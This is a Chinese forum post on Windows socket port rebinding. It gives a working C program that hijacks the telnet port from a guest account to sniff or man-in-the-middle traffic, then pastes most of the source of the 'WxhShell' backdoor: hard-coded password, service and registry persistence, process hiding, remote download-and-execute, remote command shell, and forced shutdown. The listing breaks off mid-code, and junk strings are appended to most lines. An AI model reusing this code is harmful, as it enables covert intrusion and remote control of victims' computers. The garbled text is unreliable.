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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *}+R{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,)Yao;Cvd  
5?^]1P_  
  saddr.sin_family = AF_INET; 0w^jls  
I|$'Q$m~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  =Ov9Kf  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;])I>BT[  
dz8-):  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Bfbl#ZkyL  
jIKBgsiF/  
  这意味着什么?意味着可以进行如下的攻击: cYsR0#  
@[n2dmj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gBMta+<fE~  
7^c2e*S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kJ/+IGV^v  
A$/KP\0Y2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]a8eDy  
g* %bzfk=|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y3D3.T6Q  
D5=C^`$2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |p;4dL  
fwRGT|":B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0rV/qMo;K  
2q+la|1Cr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DKR<W.!*t  
,Yo: &>As  
  #include {PL,VY)Z  
  #include BeAk 21xb  
  #include SO7(K5H,  
  #include    fv:L\N1u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3)dP7rmZ  
  int main() sc<kiL  
  { A8J?A#R*{q  
  WORD wVersionRequested; ',DeP>'%>  
  DWORD ret; o\d |CE;>  
  WSADATA wsaData; TV? ^c?{5  
  BOOL val; n:F@gZd`  
  SOCKADDR_IN saddr; $,!hD\a  
  SOCKADDR_IN scaddr; p#)e:/Qy  
  int err; ,Ak ^nX  
  SOCKET s; Nc,*hsx'  
  SOCKET sc; fQxSMPWB  
  int caddsize; &Y{F? c^  
  HANDLE mt; x 96}#0'  
  DWORD tid;   l+oDq'[q"  
  wVersionRequested = MAKEWORD( 2, 2 ); bS,etd  
  err = WSAStartup( wVersionRequested, &wsaData );  KvGbDG  
  if ( err != 0 ) { ;.\g-`jb  
  printf("error!WSAStartup failed!\n"); r8sdzz%  
  return -1; \Ph]*%  
  } II&<  
  saddr.sin_family = AF_INET; 5qGGu.$Ihi  
   anLbl#UV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q< dba12  
"X`Qe!zk4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vnDmFqelz  
  saddr.sin_port = htons(23); 4yhcK&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q Z#!CPHS  
  { :sFo  
  printf("error!socket failed!\n"); &ryiG  
  return -1; 0"4J"q]&  
  } 5H~@^!7t  
  val = TRUE; >;m{{nj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (:JjQ`i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ln:lC( '  
  { 0Qt~K#mr/  
  printf("error!setsockopt failed!\n"); iW'_R{)T  
  return -1; 3zbXAR*  
  } v C^>p5F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ATo}FL 2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ci;&CHa  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -7&?@M,u  
Ny]lvgu9X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r-*l1([eW  
  { Bf/ |{@  
  ret=GetLastError(); gUspGsfr  
  printf("error!bind failed!\n"); N_0pO<<cs  
  return -1; ::ri3Tu  
  } HXyFj  
  listen(s,2); Q@3B{  
  while(1) gbJG`zC>U  
  { !h?=Wv ==]  
  caddsize = sizeof(scaddr); ,?I(/jI  
  //接受连接请求 uO"y`$C$_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %Or2iuO%-,  
  if(sc!=INVALID_SOCKET) _nP)uU$  
  { w\p9J0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y^yG/F  
  if(mt==NULL) |ebvx?\  
  { ghX:"vV{n  
  printf("Thread Creat Failed!\n"); $:(z}sYQ7  
  break; o7J{+V  
  } E_]k>bf\  
  } |g+!  
  CloseHandle(mt); } +1'{B"I  
  } !KAsvF,j  
  closesocket(s); 9]Lo  
  WSACleanup(); .izf#r:<  
  return 0; 6vF/e#},  
  }   $Vsy%gA<  
  DWORD WINAPI ClientThread(LPVOID lpParam) kwO eHdV^  
  { y ^SyhG,V[  
  SOCKET ss = (SOCKET)lpParam; eJW[ ]!  
  SOCKET sc; 4? v,wq  
  unsigned char buf[4096]; j"i#R1T  
  SOCKADDR_IN saddr; \x(.d.l/  
  long num; UP?D@ogl<  
  DWORD val;  ; HP#bx  
  DWORD ret; 2p+C%"n>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dt<~sOT3s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -nOq\RYV  
  saddr.sin_family = AF_INET; ] ;&"1A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dok)Je  
  saddr.sin_port = htons(23); F'rt>YvF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T30Zk*V  
  { RvR:e|  
  printf("error!socket failed!\n"); d[S#Duz<&  
  return -1; lf6|.  
  } XO%~6Us^  
  val = 100; loBtd%wY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TH YVT%v  
  { @"w2R$o  
  ret = GetLastError(); m!0N"AjA  
  return -1; ex!XB$X  
  } Qne0kB5m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IyOpju)?  
  { @R UP$  
  ret = GetLastError(); _=?2 3  
  return -1; z|Ap\[GS  
  } EQ/^&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %6Rn4J^^  
  { `/0u{[  
  printf("error!socket connect failed!\n"); W-ez[raY  
  closesocket(sc); _Ds@lVY  
  closesocket(ss); >IBTBh_ka  
  return -1; "9%q bM B  
  } UP]1(S?  
  while(1) "1K:/n  
  { #cO+<1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8?kP*tmcZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ld95[cTP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1 #q^uqO0  
  num = recv(ss,buf,4096,0); 3(C :X1  
  if(num>0) S*xhX1yUi  
  send(sc,buf,num,0); @UV{:]f~e  
  else if(num==0) BKX 9 SL]  
  break; bQ"N ;d)e  
  num = recv(sc,buf,4096,0); 6< >SHw  
  if(num>0) *%I[ ke *  
  send(ss,buf,num,0); 4~Dax)  
  else if(num==0) `zY!`G  
  break; DRp&IP<  
  } gvGi %gq  
  closesocket(ss); c_Tzyh7l4  
  closesocket(sc); MUB37  
  return 0 ; r ^ Y~mq  
  } Ok*Z  
@iRO7 6m  
Hit Ac8  
========================================================== ~$Y|ca  
GkciA{  
下边附上一个代码,,WXhSHELL +aj^Cs1$  
||XIWKF<n2  
========================================================== nEyI t&> 9  
*Q5x1!#z #  
#include "stdafx.h" Z}+yI,  
VAs ( .y  
#include <stdio.h> Y1WHy *s?  
#include <string.h> ^SAq^3^P!  
#include <windows.h> @/ k x er  
#include <winsock2.h> ULIFSd Y  
#include <winsvc.h> !*_K.1'  
#include <urlmon.h> YmgCl!r@  
@mNJ=mEV  
#pragma comment (lib, "Ws2_32.lib") 9x[ U$B  
#pragma comment (lib, "urlmon.lib") +6oG@  
.jargvAL*  
#define MAX_USER   100 // 最大客户端连接数 {>h97}P  
#define BUF_SOCK   200 // sock buffer B4^`Sw  
#define KEY_BUFF   255 // 输入 buffer c.0]1  
F"[3c6yF  
#define REBOOT     0   // 重启 ABZ06S/  
#define SHUTDOWN   1   // 关机 Z%e|*GS{  
5 q65nF  
#define DEF_PORT   5000 // 监听端口 >C# kqxfg  
<sc\EK  
#define REG_LEN     16   // 注册表键长度 x6%#ws vS  
#define SVC_LEN     80   // NT服务名长度 @hsbq  
JhJLqb@q  
// 从dll定义API LipxAE?O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9~~UM<66W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); np=kTJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V^2-_V]8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \K}aQKB/j  
8YKQIt K  
// wxhshell配置信息 o:9$UV[  
struct WSCFG { B2(,~^39  
  int ws_port;         // 监听端口 b2s~%}T  
  char ws_passstr[REG_LEN]; // 口令 cix36MR_  
  int ws_autoins;       // 安装标记, 1=yes 0=no f?maa5S  
  char ws_regname[REG_LEN]; // 注册表键名 ^j=bObaX  
  char ws_svcname[REG_LEN]; // 服务名 :XYy7xz<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JGgxAd{L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?:/|d\,7@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <m]wi7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CV3DMA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W&KM/9d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S(w\ZC  
!W~<q{VTs  
}; -TS? fne)  
nvH|Ngg Q  
// default Wxhshell configuration AerFgQiS  
struct WSCFG wscfg={DEF_PORT, 0D~=SekQ 9  
    "xuhuanlingzhe", ZF'HM@cfo  
    1, 'F7VM?HBfg  
    "Wxhshell", %t[K36,p  
    "Wxhshell", [q3+$W \r  
            "WxhShell Service", >)3VbO  
    "Wrsky Windows CmdShell Service", eO[c lB  
    "Please Input Your Password: ", o|rzN\WJn  
  1, !M^\f N1  
  "http://www.wrsky.com/wxhshell.exe", *Ru2:}?MpS  
  "Wxhshell.exe" %E.S[cf%8&  
    }; gt@SuX!@{^  
`)tA YH  
// 消息定义模块 HTR1)b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H#Q;"r3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bjzx!OCpV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Bm} iU~(Z`  
char *msg_ws_ext="\n\rExit."; no|Gq>Xp  
char *msg_ws_end="\n\rQuit."; TY6 rwU  
char *msg_ws_boot="\n\rReboot..."; jyQVSQ s  
char *msg_ws_poff="\n\rShutdown..."; $3#%aA!(#  
char *msg_ws_down="\n\rSave to "; FUqt)YHi  
^Plc}W7h  
char *msg_ws_err="\n\rErr!"; Ue!Q."  
char *msg_ws_ok="\n\rOK!"; v20~^gKo=m  
u]bz42]  
char ExeFile[MAX_PATH]; C0(sAF@  
int nUser = 0; 8t[t{"  
HANDLE handles[MAX_USER]; d.cCbr:  
int OsIsNt;  C0<YH "  
enumK\  
SERVICE_STATUS       serviceStatus; |^ iA6)Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P^zy;Qs7  
A{(T'/~"  
// 函数声明 41}/w3Z4  
int Install(void); )E-E0Hl>7  
int Uninstall(void); YxyG\J\|,  
int DownloadFile(char *sURL, SOCKET wsh); aDveU)]=1  
int Boot(int flag); n_P(k-^U*  
void HideProc(void); <T4(H[9B  
int GetOsVer(void); a.,i.2  
int Wxhshell(SOCKET wsl); ?0z)EPQ|  
void TalkWithClient(void *cs); f[}|rf  
int CmdShell(SOCKET sock); <\ETPL,<  
int StartFromService(void); M=[th  
int StartWxhshell(LPSTR lpCmdLine); QiU_hz6?v  
RJPcn)@l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H+`*Y<F@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *B{-uc3o  
uP6-cs  
// 数据结构和表定义 TPK@*9rI  
SERVICE_TABLE_ENTRY DispatchTable[] = SUu >6'LN  
{ TvM24Orct  
{wscfg.ws_svcname, NTServiceMain}, Sn ^Aud  
{NULL, NULL} KZ  )Ys  
}; i~8DSshA  
0x71%=4H^x  
// 自我安装 y ||@?Y  
int Install(void) :o$@F-$k  
{ t'aSF{%  
  char svExeFile[MAX_PATH]; J7n5Ps\M  
  HKEY key; w_3xKnMT\  
  strcpy(svExeFile,ExeFile); g ;LVECk  
tBv3~Of.  
// 如果是win9x系统,修改注册表设为自启动 ETm]o  
if(!OsIsNt) { 7E\gxQ(vU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WgPgG0VJE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ytz8=\p_b  
  RegCloseKey(key); qHJ'1~?q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <r;o6>+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f~*K {7  
  RegCloseKey(key); ttj2b$M,  
  return 0; HlRAD|]\  
    } oLP]N$'#  
  } ppFYc\&=  
} n ,1tD  
else { ZqP7@fO_%  
#TATqzA  
// 如果是NT以上系统,安装为系统服务 MWhwMj!:m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1|/'"9v  
if (schSCManager!=0) "Z~`e]>  
{ Pw  xIz  
  SC_HANDLE schService = CreateService h!Y?SO.b  
  ( /{R3@,D[]  
  schSCManager, bg1un@%!l  
  wscfg.ws_svcname, $m8leuo)  
  wscfg.ws_svcdisp, nuxd S ,  
  SERVICE_ALL_ACCESS, i6PE6> 1/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j6og3.H-  
  SERVICE_AUTO_START, PY -+Bf  
  SERVICE_ERROR_NORMAL, PI63RH8e  
  svExeFile, gIBpOPr^d  
  NULL, kO+s+ 55  
  NULL, [Auc*@  
  NULL, m>YWxa   
  NULL, %A2`&:ip  
  NULL x< S\D&  
  ); DB~MYOX~  
  if (schService!=0) n.Vtc-yZU  
  { u}m.}Mws  
  CloseServiceHandle(schService); :MBS>owR  
  CloseServiceHandle(schSCManager); J 8q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y1u9 B;Fd  
  strcat(svExeFile,wscfg.ws_svcname); ?@3&dk~ni  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Yw[{beo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "uhV|Lk*7  
  RegCloseKey(key); h>|u:]I>  
  return 0; h ~fWE  
    } uP Rl[tS0  
  } Qg>0G%cXU  
  CloseServiceHandle(schSCManager); 4Cd#sQ  
} `*d{PJTv  
} G h=<0WaF=  
?} X}#  
return 1; JT#7yetk'  
} B0"0_n7-  
O%VA)<  
// 自我卸载 'z-D%sCA  
int Uninstall(void) iN`6xkY  
{ 0[i}rC9&  
  HKEY key; V&R$8tpz  
GmAj</~  
if(!OsIsNt) { R=Ymo.zs6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5v3RVaqZ  
  RegDeleteValue(key,wscfg.ws_regname); O8[k_0@  
  RegCloseKey(key); wibwyzo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &N9IcNP  
  RegDeleteValue(key,wscfg.ws_regname); QXB|!'  
  RegCloseKey(key); "qgu$N4/>  
  return 0; {NV:|M!  
  } Oj-r;Tt_G}  
} v~aLTI  
} U3N(cFXn  
else { Th/{x h  
,02w@we5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (JU_8j!  
if (schSCManager!=0) [G=:?J,P  
{ 5y}BCY2=/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KqK9X  
  if (schService!=0) jiq2x\\!  
  { 7$#rNYa,z  
  if(DeleteService(schService)!=0) { 3t*#!^$  
  CloseServiceHandle(schService); %i3{TL  
  CloseServiceHandle(schSCManager); h(|;\~  
  return 0; wB 2}uk7  
  } =+4 _j  
  CloseServiceHandle(schService); Hh@2m\HA  
  } egWx9xX  
  CloseServiceHandle(schSCManager); o"\{OX  
} p>&S7M/9  
}  -tMA  
LGfmUb-{]  
return 1; MISE C[/  
} @sdS 0pC  
19) !$Hl  
// 从指定url下载文件 R|-j]Ne  
int DownloadFile(char *sURL, SOCKET wsh) V pH|R  
{ *k4+ioFnKE  
  HRESULT hr; L W?&a3e  
char seps[]= "/"; V $>"f(  
char *token; ([tG y  
char *file; ~hzEKvs  
char myURL[MAX_PATH]; )\"I*Jwir  
char myFILE[MAX_PATH]; %b9fW  
]xYayN!n  
strcpy(myURL,sURL); X+%u(>>  
  token=strtok(myURL,seps); T(gg>_'jh  
  while(token!=NULL) @ 'Q%Jc(  
  { e lay =%)  
    file=token; 9ClF<5?M  
  token=strtok(NULL,seps); 4M7^ [G  
  } Op90NZI#K  
^1Yo-T(R  
GetCurrentDirectory(MAX_PATH,myFILE); uD[^K1Ag]^  
strcat(myFILE, "\\"); 0H<4+ *`K  
strcat(myFILE, file); Z7oaQ\fR  
  send(wsh,myFILE,strlen(myFILE),0); @f%wd2  
send(wsh,"...",3,0); 6$DG.p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xh`Du|jvm  
  if(hr==S_OK) _\!0t  
return 0; '(XW$D  
else 4Lw'v:(  
return 1; 5c)<'EP  
YMK>+y[+4  
} sjcQaF`=  
OSj%1KL  
// 系统电源模块 m3B \)2B  
int Boot(int flag) {RH*8?7  
{ 'Nw6.5  
  HANDLE hToken; @E YK(QS-  
  TOKEN_PRIVILEGES tkp; (]}XLMi,|!  
4[Z1r~t\L  
  if(OsIsNt) { Q Y@nE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j $KM9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p#z;cjfSt  
    tkp.PrivilegeCount = 1; r.9 $y/5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8>m1UONr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;}f6Y['z  
if(flag==REBOOT) { o3fR3P%$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +*<K"H|,  
  return 0; 1aVgwAI  
} o;%n,S8J|^  
else { C_C$5[~-:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GgT=t)}wu  
  return 0; 48;~bVr}  
} 6S)$3Is  
  } `TOX1cmw  
  else { NPP3 (3C  
if(flag==REBOOT) { +H[Q~P8'[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Bg5;Q)  
  return 0; 1ZKz3)K  
} S7Qen6lm  
else { 6OMb`A@/2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]yw_n^@  
  return 0; `9:v*KuM#R  
} xTGP  
} cK/PQsMP  
UQSX<6"  
return 1; $,g 3*A  
} BSjbnnW}"  
.\)--+(  
// win9x进程隐藏模块 7G?Ia%u  
void HideProc(void) y{:]sHyG  
{ 7L1\1E:!  
gW/QFZjY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2Qw )-EB  
  if ( hKernel != NULL ) v]l&dgoT  
  { \l>q Y(gu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %}\ vW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K90D1sD  
    FreeLibrary(hKernel); -aC!0O y`  
  } t7sUtmq  
~>.awu+o|  
return; neK*jdaP  
} 5c*p2:]  
r*c82}tc  
// 获取操作系统版本 4RlnnXY  
int GetOsVer(void) _,11EeW@  
{ 3zk:59  
  OSVERSIONINFO winfo; ?&{S~[;l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [8xeQKp4  
  GetVersionEx(&winfo); c9 gz!NE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?G2qlna  
  return 1; |zK!+fu  
  else lR|$*:+  
  return 0; 6JUav."`~  
} iXt4|0  
xU#]w6  
// 客户端句柄模块 z<FV1niE  
int Wxhshell(SOCKET wsl) ^)(G(=-Rf  
{ u Eu6f  
  SOCKET wsh; n$nne6|O  
  struct sockaddr_in client; cC7"J\+r*  
  DWORD myID; #rqyy0k0'h  
"cIGNTLFA  
  while(nUser<MAX_USER) mjWp8i  
{ g%@]z8L  
  int nSize=sizeof(client); fQ2!sV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GZxglU,3T  
  if(wsh==INVALID_SOCKET) return 1; 2nG{>,#C:O  
Sn_z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wjN`EF5$}&  
if(handles[nUser]==0) 6RR4L^(m  
  closesocket(wsh); 4`?sE*P@`  
else ~)WfJ  
  nUser++; Y*]l|)a6_]  
  } =U)n`#6_j2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IwZZewb-a  
qz-#LZFTR  
  return 0; &':UlzG  
} 5<'n  
4SX3c:>  
// 关闭 socket MR^umLM88  
void CloseIt(SOCKET wsh) N]3-L`t  
{ +!mNm?H[!  
closesocket(wsh); 'vqj5YTj  
nUser--; Qi(e`(,'  
ExitThread(0); /1[}G!  
} kKFuTem_3  
)Tyky%P+iI  
// 客户端请求句柄 bCJ<=X,g`K  
void TalkWithClient(void *cs) X}n&`y{/  
{ 1]a*Oer}  
_OyP>| L'  
  SOCKET wsh=(SOCKET)cs; +9=@E  
  char pwd[SVC_LEN]; 5`OK-  
  char cmd[KEY_BUFF]; ;EE{ ~  
char chr[1]; |SSf G~r  
int i,j; o|b[(t$;O  
Res"0Q  
  while (nUser < MAX_USER) { "jkw8UVz  
QZ:]8MHl]  
if(wscfg.ws_passstr) { < -@,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M]%!n3Fb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PVQ#>_~5  
  //ZeroMemory(pwd,KEY_BUFF); |j.KFu845  
      i=0; / h 2*$  
  while(i<SVC_LEN) { 2@=cqD7x  
<;TP@-a  
  // 设置超时 ;XKo44%  
  fd_set FdRead; pqGf@24c<  
  struct timeval TimeOut; ;T"m [D  
  FD_ZERO(&FdRead); )-TeDIfm  
  FD_SET(wsh,&FdRead); 3cV+A]i  
  TimeOut.tv_sec=8; #XYLVee,  
  TimeOut.tv_usec=0; a!hI${Xn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =/!{<^0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  \\E_W9.u  
8CN7+V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V29S*  
  pwd=chr[0]; +Y.uZJ6+  
  if(chr[0]==0xd || chr[0]==0xa) { J*^,l`C/  
  pwd=0; 4N%2w(,+8  
  break; Z!s>AgH9u  
  } goBKr: &]w  
  i++; rH#c:BwSm  
    } Wf+Cc?/4  
>M8^ Jgh  
  // 如果是非法用户,关闭 socket 'JW_]z1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /64^5DjTh  
} /4wm}g9  
vo}_%5v8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w# gU1yu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (c*7VO;  
O>o}<t7  
while(1) { k:+)$[t7  
uP%;QBb  
  ZeroMemory(cmd,KEY_BUFF); 5,=B1  
anKb  
      // 自动支持客户端 telnet标准   X&FuqB  
  j=0; aQym= 6 %e  
  while(j<KEY_BUFF) { U#~nN+SIt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ilt L@]e  
  cmd[j]=chr[0]; .T62aJ   
  if(chr[0]==0xa || chr[0]==0xd) { X T)hPwg.  
  cmd[j]=0; @88z{  
  break; }77=<N br  
  } `pv89aO  
  j++; mw4'z,1Q  
    } tl,x@['p`  
&d|VH y+  
  // 下载文件 2A18hP`^  
  if(strstr(cmd,"http://")) { LK-K_!F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /Mi-lh^j-  
  if(DownloadFile(cmd,wsh)) 9B?t3:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); sgb+@&}9n  
  else G,mH!lSm,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;5JIY7t  
  } }TAGr 0  
  else { )2^/?jK  
8ZDqqz^C0  
    switch(cmd[0]) { 0u&?Zy9&  
  6GrMcI@hS  
  // 帮助 }:c,S O!  
  case '?': { 7&;jje[ <g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;]#4p8lh+  
    break; ;o)`9<es!2  
  } A86lyBDQ*  
  // 安装 z7us*8X{  
  case 'i': { nm:let7GB  
    if(Install()) V~uA(3\U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e2=,n6N]c  
    else >I66R;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pg& ]F  
    break; w or'=byh\  
    } >!v,`O1  
  // 卸载 /cg]wG!n8  
  case 'r': { uB#B\i  
    if(Uninstall()) (=3&8$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xf F&$K"  
    else X%R^)zKV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NE>JtTF<  
    break; C[<\ufclD  
    } )hZ}$P1  
  // 显示 wxhshell 所在路径 j}?ZsnqV  
  case 'p': { pil*/&pB  
    char svExeFile[MAX_PATH]; }AH|~3|D  
    strcpy(svExeFile,"\n\r"); r|H!s,  
      strcat(svExeFile,ExeFile); 3TvhOC>yG  
        send(wsh,svExeFile,strlen(svExeFile),0); Fi3(glgd-  
    break; ht74h  
    } VL!kX``^F  
  // 重启  rgvc5p  
  case 'b': { t;f p<z7N.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?[4khQt  
    if(Boot(REBOOT)) =iN_Ug+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r1[T:B'  
    else { MzW$Sl&:  
    closesocket(wsh); nKa ;FaJ  
    ExitThread(0); Jm1AJ4mw  
    } !.GY~f<d$  
    break; Q,qylL  
    } O/r<VT Op  
  // 关机 A)p! w aG  
  case 'd': { "ZPbK$+=yU  
